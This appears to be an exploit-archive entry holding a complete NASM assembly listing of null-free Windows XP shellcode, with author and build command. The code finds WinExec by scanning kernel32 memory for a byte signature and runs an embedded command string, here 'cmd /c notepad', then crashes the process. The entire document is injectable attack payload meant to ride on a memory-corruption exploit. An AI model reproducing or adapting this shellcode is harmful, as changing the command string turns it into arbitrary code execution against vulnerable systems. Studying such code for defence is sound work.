Simple Windows XP shellcode for command execution.
7fede52a4ac15b3ba497f67cea81a03a018ab5ff550446329d9c39fb97250393
; Mostly Generic WinXP (Maybe 2K) SP independent
; command executing shellcode.
; Peter4020@hotmail.com
;
; nasmw -s -fbin -o gencmd.s gencmd.asm
bits 32
start:
jmp short data ; jump to call back for data address
continue:
pop edi ; edi = data address :o)
mov ecx, 11111111h ; max command length = 286331153 bytes ;o)
mov ebx, ecx ; save max command length
scan:
cld ; direction flag = 0 (auto increment)
mov al, 0ffh ; look for byte 0xff
repne scasb ; repeat while not found
xchg ebx, ecx ; when found, restore ecx; ebx = ecx - repetitions
sub ecx, ebx ; ecx = length of data string
add edi, 11111110h ; null friendly addition
sub edi, 11111111h ; sub one more than added = sub edi, 01h
inc byte [edi] ; make our 0xff a NULL
add ecx, 11111110h ; ...
sub ecx, 11111111h ; ...
sub edi, ecx ; edi = start of string
xor esi, esi ; clear esi
inc esi ; winexec; cmdshow; 01h (sw_normal)
push esi ; set up winexec
push edi ; ...
mov ebx, 0c458b66h ; signature string unique to winexec function
mov ecx, 11111111h ; trawl 286331153 bytes
mov edi, 77e60101h ; winxp kernel32.dll base + 0x0101 hex (null friendly)
trawlmem:
inc edi ; if not signature, move on
mov al, 066h ; look for start of signature string
repne scasb ; scan for start of signature string
jmp short checkbytes ; if start of sig. str. found, check whole sig.
nop ; (just to remove a nasty null)
checkbytes:
dec edi ; go back to start of possible start of sig. str.
push dword [edi] ; push data referenced by edi
pop esi ; pop the value into esi
cmp ebx, esi ; check with signature string
je gotcha ; if equal, we got our winexec!
jmp short trawlmem ; if not, let's try again ...
gotcha:
lea eax, [edi-16h] ; get to start of winexec function
call eax ; call winexec
int 3h ; crash process after executing command
data:
call continue ; call back
db "cmd /c notepad", 0ffh ; is there no end to the evil?